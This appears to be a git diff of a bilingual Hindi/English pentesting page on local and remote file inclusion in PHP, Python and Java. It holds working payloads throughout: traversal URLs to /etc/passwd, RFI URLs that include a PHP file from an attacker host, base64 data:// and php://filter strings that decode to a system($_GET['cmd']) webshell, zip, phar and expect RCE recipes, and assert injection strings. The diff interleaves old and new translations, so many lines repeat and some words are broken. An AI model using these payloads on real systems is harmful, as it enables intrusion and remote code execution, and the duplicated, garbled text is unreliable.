http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
```
इन परिदृश्यों में आवश्यक traversals की संख्या लगभग 2027 हो सकती है, लेकिन यह संख्या सर्वर की कॉन्फ़िगरेशन के आधार पर बदल सकती है।
In these scenarios, the number of traversals needed might be around 2027, but this number can vary based on the server's configuration.
- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) को अतिरिक्त dot segments और characters के साथ मिलाकर file system में नेविगेट करने के लिए उपयोग किया जा सकता है, जिससे सर्वर द्वारा जोड़े गए appended strings प्रभावी रूप से अनदेखा हो जाते हैं।
- **Determining the Required Number of Traversals**: trial and error के माध्यम से, कोई सही संख्या `../` sequences पता कर सकता है जो root directory तक और फिर `/etc/passwd` तक नेविगेट करने के लिए आवश्यक हो, यह सुनिश्चित करते हुए कि किसी भी appended strings (जैसे `.php`) को neutralize किया गया है लेकिन इच्छित path (`/etc/passwd`) अपरिवर्तित रहता है
- **Starting with a Fake Directory**: यह एक आम प्रथा है कि path को non-existent directory (जैसे `a/`) से शुरू किया जाए। यह technique सुरक्षा के तौर पर या सर्वर की path parsing logic की आवश्यकताओं को पूरा करने के लिए इस्तेमाल की जाती है।
- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) को अतिरिक्त dot segments और characters के साथ मिलाकर file system में नेविगेट करने के लिए इस्तेमाल किया जा सकता है, जिससे server द्वारा जोड़े गए appended strings प्रभावी रूप से अनदेखा हो जाते हैं।
- **Determining the Required Number of Traversals**: Trial and error के माध्यम से, किसी को यह सटीक संख्या मिल सकती है कि root directory तक और फिर `/etc/passwd` तक पहुँचने के लिए कितने `../` sequences चाहिए, यह सुनिश्चित करते हुए कि किसी भी appended strings (जैसे `.php`) को neutralize किया गया है पर इच्छित path (`/etc/passwd`) अपरिवर्तित रहे
- **Starting with a Fake Directory**: Path को एक non-existent directory (जैसे `a/`) से शुरू करना एक सामान्य अभ्यास है। यह technique सावधानी के तौर पर या server के path parsing logic की आवश्यकताओं को पूरा करने के लिए उपयोग की जाती है।
जब path truncation techniques का उपयोग किया जा रहा हो, तो सर्वर के path parsing व्यवहार और filesystem संरचना को समझना महत्वपूर्ण है। हर परिदृश्य अलग तरीका मांग सकता है, और सबसे प्रभावी method खोजने के लिए अक्सर testing आवश्यक होती है।
When employing path truncation techniques, यह समझना ज़रूरी है कि server का path parsing व्यवहार और filesystem संरचना कैसी है। हर परिदृश्य के लिए अलग approach की ज़रूरत हो सकती है, और सबसे प्रभावी method खोजने के लिए अक्सर testing आवश्यक होती है।
**यह vulnerability PHP 5.3 में ठीक की गई थी।**
**This vulnerability was corrected in PHP 5.3.**
### **Filter bypass tricks**
```
@ -145,45 +145,45 @@ http://example.com/index.php?page=PhP://filter
```
## Remote File Inclusion
PHP में यह डिफ़ॉल्ट रूप से अक्षम होता है क्योंकि **`allow_url_include`** **Off** है। इसे काम करने के लिए **On** होना चाहिए, और उस स्थिति में आप अपने सर्वर से एक PHP फ़ाइल include करके RCE प्राप्त कर सकते हैं:
In php यह डिफ़ॉल्ट रूप से अक्षम है क्योंकि **`allow_url_include`** **Off.** ह काम करने के लिए **On** होना चाहिए, और उस स्थिति में आप अपने सर्वर से एक PHP फ़ाइल शामिल करके RCE प्राप्त कर सकते हैं:
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
यदि किसी कारण से **`allow_url_include`** **On** है, लेकिन PHP बाहरी वेबपेजों तक पहुँच को **filtering** कर रहा है, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), तो आप उदाहरण के लिए data protocol के साथ base64 का उपयोग करके b64 PHP code को डिकोड करके RCE प्राप्त कर सकते हैं:
यदि किसी कारणवश **`allow_url_include`** **On** है, लेकिन PHP बाहरी वेबपेजों तक पहुँच को **filtering** कर रहा है, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), आप उदाहरण के लिए data protocol के साथ base64 का उपयोग करके b64 PHP कोड को decode कर सकते हैं और egt RCE:
```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```
> [!TIP]
> पिछले कोड में, अंतिम `+.txt` इसलिए जोड़ा गया था क्योंकि attacker को एक ऐसे string की जरूरत थी जो `.txt` में खत्म होता हो, इसलिए string इसके साथ खत्म होता है और b64 decode के बाद वह हिस्सा बस जंक लौटाएगा और असली PHP code include (और इसलिए, executed) हो जाएगा
एक और उदाहरण **`php://` protocol का उपयोग न करते हुए** होगा:
> पिछले कोड में, आखिरी `+.txt` इसलिए जोड़ा गया क्योंकि attacker को एक ऐसा string चाहिए था जो `.txt` पर समाप्त हो, इसलिए string उसी के साथ समाप्त होता है और b64 decode के बाद वह हिस्सा सिर्फ junk लौटाएगा और असली PHP कोड include किया जाएगा (और इसलिए execute होगा)
>
> एक और उदाहरण जो **`php://` protocol का उपयोग नहीं करता** ऐसा होगा:
```
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
```
## Python रूट एलिमेंट
## Python रूट तत्व
python में, इस तरह के कोड में:
```python
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
```
यदि उपयोगकर्ता **absolute path** को **`file_name`** में पास करता है, तो **previous path** स हटा दिया जाता है:
यदि उपयोगकर्ता **absolute path** को **`file_name`** में पास करता है, तो **previous pathिर्फ हटा दिया जाता है**:
```python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
```
It is the intended behaviour according to [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
यह [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join) के अनुसार इच्छित व्यवहार है:
> यदि कोई component एक absolute path है, तो सभी पिछले components हटा दिए जाते हैं और joining absolute path component से जारी रहती है।
> यदि कोई घटक एक absolute path है, तो सभी पिछले घटक फेंक दिए जाते हैं और joining उस absolute path घटक से जारी रहती है।
## Java डायरेक्टरी सूची
## Java निर्देशिकाओं की सूची
ऐसा लगता है कि यदि Java में आपके पास Path Traversal है और आप **file** की बजाय **directory** के लिए अनुरोध करते हैं, तो उस **directory** की **listing** वापस कर दी जाती है। यह अन्य भाषाओं में (जहाँ तक मुझे पता है) नहीं होगा।
ऐसा लगता है कि यदि Java में आपका Path Traversal है और आप **file की बजाय किसी directory के लिए अनुरोध करते हैं**, तो **डायरेक्टरी की सूची लौटाई जाती है**। यह अन्य भाषाओं में नहीं होगा (afaik).
## Top 25 parameters
## शीर्ष 25 पैरामीटर
यहाँ शीर्ष 25 पैरामीटरों की सूची है जो local file inclusion (LFI) vulnerabilities के लिए vulnerable हो सकते हैं (from [link](https://twitter.com/trbughunters/status/1279768631845494787)):
यहाँ शीर्ष 25 पैरामीटरों की सूची है जो local file inclusion (LFI) vulnerabilities के प्रति कमजोर हो सकते हैं (from [link](https://twitter.com/trbughunters/status/1279768631845494787)):
```
?cat={payload}
?dir={payload}
@ -211,38 +211,38 @@ It is the intended behaviour according to [the docs](https://docs.python.org/3.1
?mod={payload}
?conf={payload}
```
## LFI / RFI का उपयोग PHP wrappers & protocols
## LFI / RFI — PHP wrappers और protocols का उपयोग करके
### php://filter
PHP filters आपको डेटा को पढ़ने या लिखने से पहले उस पर बुनियादी **मॉडिफिकेशन ऑपरेशन करने** की अनुमति देते हैं। filters के 5 कैटेगरी हैं:
PHP filters डेटा को पढ़ा या लिखा जाने से पहले उस पर बुनियादी **संशोधन ऑपरेशन** करने की अनुमति देते हैं। फिल्टर की 5 श्रेणियाँ हैं:
- [String Filters](https://www.php.net/manual/en/filters.string.php):
- `string.rot13`
- `string.toupper`
- `string.tolower`
- `string.strip_tags`: डेटा से टैग्स हटा देता है (जो "<" और ">" chars के बीच है)
- `string.strip_tags`: डेटा से tags हटाता है ( '<' और '>' कैरैक्टर के बीच की सब कुछ )
- Note that this filter has disappear from the modern versions of PHP
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
- `convert.base64-encode`
- `convert.base64-decode`
- `convert.quoted-printable-encode`
- `convert.quoted-printable-decode`
- `convert.iconv.*` : एक अलग encoding में बदलता है (`convert.iconv.<input_enc>.<output_enc>`). सपोर्ट किए गए सभी encodings की **सूची** पाने के लिए console में चलाएँ: `iconv -l`
- `convert.iconv.*` : अलग encoding में बदलता है (`convert.iconv.<input_enc>.<output_enc>`). समर्थित **सभी encodings की सूची** प्राप्त करने के लिए console में चलाएँ: `iconv -l`
> [!WARNING]
> Abusing the `convert.iconv.*` conversion filter you can **generate arbitrary text**, which could be useful to write arbitrary text or make a function like include process arbitrary text. For more info check [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
- `zlib.deflate`: कंटेंट को संपीड़ित करता है (useful if exfiltrating a lot of info)
- `zlib.deflate`: सामग्री को compress करता है (यदि बहुत सारी जानकारी exfiltrating करनी हो तो उपयोगी)
- `zlib.inflate`: डेटा को decompress करता है
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
- `mcrypt.*` : Deprecated
- `mdecrypt.*` : Deprecated
- Other Filters
- php में `var_dump(stream_get_filters());` चलाने पर आप कुछ **अनपेक्षित filters** पा सकते हैं:
- php में `var_dump(stream_get_filters());` चलाने पर आप कुछ **unexpected filters** पा सकते हैं:
- `consumed`
- `dechunk`: HTTP chunked encoding को reverse करता है
- `dechunk`: HTTP chunked encoding को उलटता है
- `convert.*`
```php
# String Filters
@ -271,39 +271,39 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
```
> [!WARNING]
> "php://filter" हिस्सा केस-संवेदनशील नहीं है
> भाग "php://filter" case-insensitive है
### php filters को oracle के रूप में उपयोग करके किसी भी फ़ाइल को पढ़न
### php filters का उपय oracle के रूप में किसी भी फ़ाइल को पढ़ने के लिए
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) एक ऐसी तकनीक प्रस्तावित की गई है जिससे सर्वर से आउटपुट वापस दिए बिना लोकल फ़ाइल पढ़ी जा सकती है। यह तकनीक **boolean exfiltration of the file (char by char) using php filters** पर आधारित है और इसका आधार यह है कि php filters का उपयोग किसी टेक्स्ट को इतना बड़ा बनाने के लिए किया जा सकता है कि php एक exception फेंक दे।
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) में एक तकनीक प्रस्तावित की गई है जिससे सर्वर से आउटपुट वापस न मिले तब भी एक local फ़ाइल पढ़ी जा सकती है। यह तकनीक **php filters का उपयोग करते हुए फ़ाइल की boolean exfiltration (char by char)** पर आधारित है। इसका कारण यह है कि php filters का उपयोग टेक्स्ट को इतना बड़ा बनाने के लिए किया जा सकता है कि php एक exception फेंक दे।
मूल पोस्ट में तकनीक की विस्तृत व्याख्या है, लेकिन यहाँ एक संक्षेप:
मूल पोस्ट में इस तकनीक की विस्तृत व्याख्या है, पर यहाँ एक संक्षिप्त सारांश है:
- Use the codec **`UCS-4LE`** ताकि टेक्स्ट का leading character शुरुआत में रहे और स्ट्रिंग का साइज घातीय रूप से बढ़े।
- यह उपयोग किया जाएगा ताकि एक **text so big when the initial letter is guessed correctly** बन सके जिससे php एक **error** ट्रिगर करेगा।
- The **dechunk** filter **remove everything if the first char is not an hexadecimal**, इसलिए हम जान पाएँगे कि पहला char hex है या नहीं।
- यह, पिछले वाले के साथ मिलकर (और अनुमानित अक्षर पर निर्भर अन्य filters के साथ), हमें टेक्स्ट की शुरुआत में एक अक्षर का अनुमान लगाने में सक्षम करेगा यह देखकर कि कब हम पर्याप्त transformations करके उसे hexadecimal character न बना दें। क्योंकि अगर hex है तो dechunk उसे नहीं हटायेगा और initial bomb php error करवा देगा।
- The codec **convert.iconv.UNICODE.CP930** हर अक्षर को अगले अक्षर में बदलता है (तो इस codec के बाद: a -> b)। इससे हमें पता चल सकता है कि पहला अक्षर उदाहरण के लिए `a` है क्योंकि अगर हम इस codec को 6 बार लागू करते हैं a->b->c->d->e->f->g तो वह अक्षर अब hexadecimal character नहीं रहेगा, इसलिए dechunk उसे नहीं हटायेगा और php error ट्रिगर होगा क्योंकि यह initial bomb के साथ गुणा करता है।
- शुरुआत में अन्य transformations जैसे **rot13** का उपयोग करके n, o, p, q, r जैसे अन्य chars को भी leak करना संभव है (और अन्य codecs का उपयोग करके अन्य अक्षरों को hex रेंज में लाया जा सकता है)।
- जब प्रारम्भिक char एक संख्या होती है तो उसे base64 encode करना ज़रूरी होता है और संख्या को leak करने के लिए पहले 2 अक्षरों को leak करना पड़ता है।
- अंतिम समस्या यह देखना है कि **how to leak more than the initial letter**। order memory filters जैसे **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** का उपयोग करके char के order को बदलना और टेक्स्ट के अन्य अक्षरों को पहले स्थान पर लाना संभव है।
- और आगे के डेटा प्राप्त करने के लिए विचार यह है कि शुरुआत में **convert.iconv.UTF16.UTF16** के साथ **2 bytes of junk data at the beginning** जनरेट करें, फिर **UCS-4LE** लागू करके इसे अगले 2 bytes के साथ **pivot** कराएं, और d**elete the data until the junk data** (यह प्रारम्भिक टेक्स्ट के पहले 2 bytes को हटा देगा)। इसे तब तक जारी रखें जब तक आप उस चाही हुई बिट तक नहीं पहुँच जाते जिसे leak करना है।
- Use the codec **`UCS-4LE`** to leave leading character of the text at the begging and make the size of string increases exponentially.
- This will be used to generate a **text so big when the initial letter is guessed correctly** that php will trigger an **error**
- The **dechunk** filter will **remove everything if the first char is not an hexadecimal**, so we can know if the first char is hex.
- This, combined with the previous one (and other filters depending on the guessed letter), will allow us to guess a letter at the beggining of the text by seeing when we do enough transformations to make it not be an hexadecimal character. Because if hex, dechunk won't delete it and the initial bomb will make php error.
- The codec **convert.iconv.UNICODE.CP930** transforms every letter in the following one (so after this codec: a -> b). This allow us to discovered if the first letter is an `a` for example because if we apply 6 of this codec a->b->c->d->e->f->g the letter isn't anymore a hexadecimal character, therefore dechunk doesn't deleted it and the php error is triggered because it multiplies with the initial bomb.
- Using other transformations like **rot13** at the beginning its possible to leak other chars like n, o, p, q, r (and other codecs can be used to move other letters to the hex range).
- When the initial char is a number its needed to base64 encode it and leak the 2 first letters to leak the number.
- The final problem is to see **how to leak more than the initial letter**. By using order memory filters like **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** is possible to change the order of the chars and get in the first position other letters of the text.
- And in order to be able to obtain **further data** the idea if to **generate 2 bytes of junk data at the beginning** with **convert.iconv.UTF16.UTF16**, apply **UCS-4LE** to make it **pivot with the next 2 bytes**, and **delete the data until the junk data** (this will remove the first 2 bytes of the initial text). Continue doing this until you reach the disired bit to leak.
पोस्ट में इसे स्वचालित रूप से करने के लिए एक टूल भी leaked हुआ: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
पोस्ट में इस प्रक्रिया को स्वचालित करने के लिए एक टूल भी leak किया गया था: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
### php://fd
यह wrapper प्रक्रिया द्वारा खुले हुए file descriptors तक पहुँचने की अनुमति देता है। संभावित रूप से opened files की सामग्री को exfiltrate करने के लिए उपयोगी:
यह wrapper प्रोसेस के open file descriptors तक access करने की अनुमति देता है। खुले फ़ाइलों की सामग्री को exfiltrate करने के लिए संभावित रूप से उपयोगी:
```php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
```
आप **php://stdin, php://stdout और php://stderr** का उपयोग करके क्रमशः **file descriptors 0, 1 और 2** तक पहुँच सकते हैं (यह किसी हमले में कैसे उपयोगी हो सकता है, यह निश्चित नहीं)।
आप **php://stdin, php://stdout and php://stderr** का उपयोग भी कर सकते हैं ताकि क्रमशः **file descriptors 0, 1 and 2** तक पहुँच सकें (यह हमला में कैसे उपयोगी हो सकता है, यह स्पष्ट नहीं है)
### zip:// and rar://
एक Zip या Rar फ़ाइल अपलोड करें जिसमें अंदर PHPShell हो और उसे एक्सेस करें.\
rar protocol क दुरुपयोग करने में सक्षम होने के लिए इसे **विशेष रूप से सक्रिय किया जाना चाहिए**
एक Zip या Rar फ़ाइल अपलोड करें जिसमें अंदर एक PHPShell हो और उसे एक्सेस करें.\
rar protocol क दुरुपयोग करने में सक्षम होने के लिए इसे **विशेष रूप से सक्रिय किया जाना चाहिए**.
```bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
@ -328,7 +328,7 @@ http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
ध्यान दें कि यह प्रोटोकॉल php कॉन्फ़िगरेशन **`allow_url_open`** और **`allow_url_include`** द्वारा प्रतिबंधित है
ध्यान दें कि यह प्रोटोकॉल php कॉन्फ़िगरेशन द्वारा सीमित है **`allow_url_open`** और **`allow_url_include`**
### expect://
@ -345,7 +345,7 @@ curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system
```
### phar://
जब कोई वेब एप्लिकेशन फ़ाइल लोड करने के लिए `include` जैसे फ़ंक्शन का उपयोग करता है, तो `.phar` फ़ाइल का उपयोग PHP कोड चलाने के लिए किया जा सकता है। नीचे दिया गया PHP कोड स्निपेट एक `.phar` फ़ाइल बनाने का तरीका दिखाता है:
फ़ाइल लोडिंग के लिए `include` जैसे फ़ंक्शन का उपयोग करने पर, एक `.phar` फ़ाइल PHP कोड निष्पादित करने के लिए उपयोग की जा सकती है। नीचे दिया गया PHP कोड स्निपेट एक `.phar` फ़ाइल बनाने का उदाहरण दिखाता है:
```php
<?php
$phar = new Phar('test.phar');
@ -354,22 +354,16 @@ $phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
```
`.phar` फ़ाइल को संकलित करने के लिए, निम्नलिखित कमांड को निष्पादित किया जाना चाहिए:
`.phar` फ़ाइल को compile करने के लिए, निम्नलिखित command को execute किया जाना चाहिए:
```bash
php --define phar.readonly=0 create_path.php
```
Upon execution, a file named `test.phar` will be created, which could potentially be leveraged to exploit Local File Inclusion (LFI) vulnerabilities.
एग्जीक्यूशन पर, एक फ़ाइल जिसका नाम `test.phar` होगा बनाई जाएगी, जिसे संभावित रूप से Local File Inclusion (LFI) कमजोरियों का शोषण करने के लिए उपयोग किया जा सकता है।
In cases where the LFI only performs file reading without executing the PHP code within, through functions such as `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, or `filesize()`, exploitation of a deserialization vulnerability could be attempted. This vulnerability is associated with the reading of files using the `phar` protocol.
यदि LFI केवल फ़ाइल पढ़ता है और फ़ाइल के भीतर के PHP कोड को execute नहीं करता — जैसे कि `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, या `filesize()` जैसी functions के माध्यम से — तो deserialization vulnerability का शोषण करने की कोशिश की जा सकती है। यह vulnerability `phar` protocol के माध्यम से फ़ाइल पढ़ने से जुड़ी है।
For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below:
`.phar` files के संदर्भ में deserialization vulnerabilities के शोषण को समझने के लिए, नीचे दिए गए दस्तावेज़ को देखें:
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
@ -379,95 +373,74 @@ phar-deserialization.md
### CVE-2024-2961
It was possible to abuse **any arbitrary file read from PHP that supports php filters** to get a RCE. The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Very quick summary: a **3 byte overflow** in the PHP heap was abused to **alter the chain of free chunks** of anspecific size in order to be able to **write anything in any address**, so a hook was added to call **`system`**.\
It was possible to alloc chunks of specific sizes abusing more php filters.
यह संभव था कि PHP में php filters को सपोर्ट करने वाली **any arbitrary file read from PHP that supports php filters** का दुरुपयोग करके RCE प्राप्त किया जा सके। विस्तृत विवरण [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
बहुत संक्षेप में: PHP heap में एक **3 byte overflow** का दुरुपयोग करके किसी विशिष्ट आकार के free chunks की श्रृंखला को **alter the chain of free chunks** करने के लिए उकसाया गया ताकि किसी भी address में **write anything in any address** किया जा सके, इसलिए एक hook जोड़ा गया था जो **`system`** को कॉल करता था।\
अधिक php filters का दुरुपयोग करके विशिष्ट आकार के chunks को alloc करना संभव था।
यह संभव था कि **PHP से पढ़े जाने वाले किसी भी arbitrary file जो php filters को सपोर्ट करता है** का दुरुपयोग करके RCE हासिल किया जा सके। विस्तृत विवरण [**इस पोस्ट में पाया जा सकता है**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
संक्षेप में: PHP heap में एक **3 byte overflow** का दुरुपयोग करके किसी specific size के free chunks की chain को **alter the chain of free chunks** किया गया ताकि किसी भी address में **write anything in any address** किया जा सके, इसलिए `system` को कॉल करने के लिए एक hook जोड़ा गया।\
अधिक php filters का दुरुपयोग करके specific sizes के chunks allocate करना संभव था।
### More protocols
Check more possible[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
### और प्रोटोकॉल
और अधिक संभावित[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)** देखें:**
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Write in memory or in a temporary file (not sure how this can be useful in a file inclusion attack)
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Accessing local filesystem
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Accessing HTTP(s) URLs
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Accessing FTP(s) URLs
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Compression Streams
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Find pathnames matching pattern (It doesn't return nothing printable, so not really useful here)
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Audio streams (Not useful to read arbitrary files)
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — मेमोरी में या अस्थायी फ़ाइल में लिखता है (यह file inclusion attack में कैसे उपयोगी हो सकता है, स्पष्ट नहीं)
- [file://](https://www.php.net/manual/en/wrappers.file.php) — स्थानीय फ़ाइल सिस्टम तक पहुँच
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — मेमोरी में या अस्थायी फाइल में लिखना (यह file inclusion हमले में कितना उपयोगी है, निश्चित नहीं)
- [file://](https://www.php.net/manual/en/wrappers.file.php) — लोकल filesystem तक पहुँच
- [http://](https://www.php.net/manual/en/wrappers.http.php) — HTTP(s) URLs तक पहुँच
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — FTP(s) URLs तक पहुँच
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — कप्रेशन स्ट्रीम्स
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — पैटर्न से मेल खाने वाले pathnames खोजें (यह कुछ मुद्रनीय नहीं लौटाता, इसलिए यहाँ वास्तव में उपयोगी नहीं है)
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — कम्प्रेशन स्ट्रीम्स
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — पैटर्न से मेल खाने वाले pathnames ढूँढना (यह प्रिंट करने योग्य कुछ नहीं लौटाता, इसलिए यहाँ ज्यादा उपयोगी नहीं)
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — ऑडियो स्ट्रीम्स (arbitrary files पढ़ने के लिए उपयोगी नहीं)
## LFI via PHP's 'assert'
Local File Inclusion (LFI) risks in PHP are notably high when dealing with the 'assert' function, which can execute code within strings. This is particularly problematic if input containing directory traversal characters like ".." is being checked but not properly sanitized.
PHP में Local File Inclusion (LFI) का जोखिम विशेष रूप से तब अधिक होता है जब 'assert' function का उपयोग होता है, क्योंकि यह string के भीतर code execute कर सकता है। यह खासकर तब समस्या उत्पन्न करता है जब input जिसमें directory traversal characters जैसे ".." होते हैं, जाँचा तो जा रहा हो पर सही तरह से sanitize नहीं किया गया हो।
PHP में Local File Inclusion (LFI) के जोखिम तब विशेष रूप से अधिक होते हैं जब 'assert' फ़ंक्शन के साथ व्यवहार किया जा रहा हो, क्योंकि यह strings के भीतर के कोड को execute कर सकता है। यह विशेष रूप से समस्याग्रस्त होता है यदि ऐसा इनपुट जिसमें directory traversal characters जैसे ".." शामिल हैं, उसकी जाँच तो की जा रही हो पर उसे सही तरह से sanitize नहीं किया गया हो।
For example, PHP code might be designed to prevent directory traversal like so:
उदाहरण के लिए, PHP कोड directory traversal को रोकने के लिए इस तरह लिखा जा सकता है:
```bash
assert("strpos('$file', '..') === false") or die("");
```
हालाँकि इसका उद्देश्य traversal को रोकना है, यह अनजाने में code injection के लिए एक वेक्टर बना देता है। फ़ाइल की सामग्री पढ़ने के लिए इसका फायदा उठाने के लिए, एक attacker उपयोग कर सकता है:
जबकि यह traversal को रोकने का प्रयास करता है, यह अनजाने में code injection के लिए एक वेक्टर बनाता है। फ़ाइल की सामग्री पढ़ने के लिए इसका फायदा उठाते हुए, एक attacker उपयोग कर सकता है:
```plaintext
' and die(highlight_file('/etc/passwd')) or '
```
इसी तरह, किसी भी सिस्टम कमांड को निष्पादित करने के लिए, कोई उपयोग कर सकता है:
इसी तरह, किसी भी सिस्टम कमांड को निष्पादित करने के लिए, कोई निम्नलिखित का उपयोग कर सकता है:
```plaintext
' and die(system("id")) or '
```
It's important to **URL-encode these payloads**.
Its important to **URL-encode these payloads**.
## PHP Blind Path Traversal
> [!WARNING]
> यह तकनीक उन मामलों में लागू होती है जहाँ आप किसी **PHP function** के **file path** को **control** करते हैं जो किसी फ़ाइल को **access** करेगा, लेकिन आप फाइल की सामग्री नहीं देख पाएँगे (जैसे एक साधारण कॉल **`file()`**) और सामग्री दिखाई नहीं जाती।
> यह तकनीक उन मामलों में प्रासंगिक है जहाँ आप **control** करते हैं **file path** को किसी **PHP function** के लिए जो **access a file** करेगा, लेकिन आप फाइल की सामग्री नहीं देख पाएँगे (जैसे एक साधारण कॉल **`file()`**) और सामग्री प्रदर्शित नहीं होती।
In [**यह शानदार पोस्ट**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) यह समझाया गया है कि कैसे एक blind path traversal को PHP filter के जरिए फ़ाइल की सामग्री को **exfiltrate** करने के लिए abuse किया जा सकता है via an **error oracle**
In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to exfiltrate the content of a file via an error oracle.
सारांश के रूप में, यह तकनीक **"UCS-4LE" encoding** का उपयोग करके फ़ाइल की सामग्री को इतना बड़ा बना देती है कि फ़ाइल खोलने वाला **PHP function** एक **error** trigger कर दे
सारांश के तौर पर, यह तकनीक **"UCS-4LE" encoding** का उपयोग करके फ़ाइल की सामग्री को इतना **big** बना देती है कि फ़ाइल खोलने वाला **PHP function opening** एक **error** ट्रिगर कर देगा
फिर, पहले char को leak करने के लिए filter **`dechunk`** का उपयोग किया जाता है, साथ ही **base64** या **rot13** जैसे अन्य filters के साथ, और अंत में filters **convert.iconv.UCS-4.UCS-4LE** और **convert.iconv.UTF16.UTF-16BE** का उपयोग करके अन्य chars को शुरुआत में रखर उन्हें leak किया जाता है।
फिर, पहले char को leak करने के लिए फ़िल्टर `dechunk` का उपयोग किया जाता है, साथ ही base64 या rot13 जैसे अन्य फ़िल्टरों के साथ, और अंत में filters convert.iconv.UCS-4.UCS-4LE और convert.iconv.UTF16.UTF-16BE का उपयोग करके अन्य chars को शुरुआत में रखा जाता है और उन्हें leak किया जाता है।
**Functions that might be vulnerable**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
For the technical details check the mentioned post!
तकनीकी विवरण के लिए उल्लेखित पोस्ट देखें!
## LFI2RCE
### Arbitrary File Write via Path Traversal (Webshell RCE)
जब server-side कोड जो फ़ाइलें ingest/uploads करता है, destination path को user-controlled डेटा (जैसे filename या URL) से बनाता है बिना उसे canonicalise और validate किए, तो `..` segments और absolute paths intended directory से बाहर निकल कर arbitrary file write कर सकते हैं। यदि आप payload को किसी web-exposed directory में रख सकते हैं, तो आम तौर पर webshell drop करके unauthenticated RCE मिल जाता है
यदि server-side code जो files ingest/uploads करता है destination path को user-controlled data (उदा., एक filename या URL) का उपयोग करके बिना canonicalising और validating किए बनाता है, तो `..` segments और absolute paths intended directory से बाहर निकल ते हैं और arbitrary file write करवा सकते हैं। यदि आप payload को किसी web-exposed directory में रख पाते हैं, तो आमतौर पर आप unauthenticated RCE हासिल कर लेते हैं एक webshell डालकर
Typical exploitation workflow:
- Identify a write primitive in an endpoint or background worker that accepts a path/filename and writes content to disk (e.g., message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
- Determine web-exposed directories. Common examples:
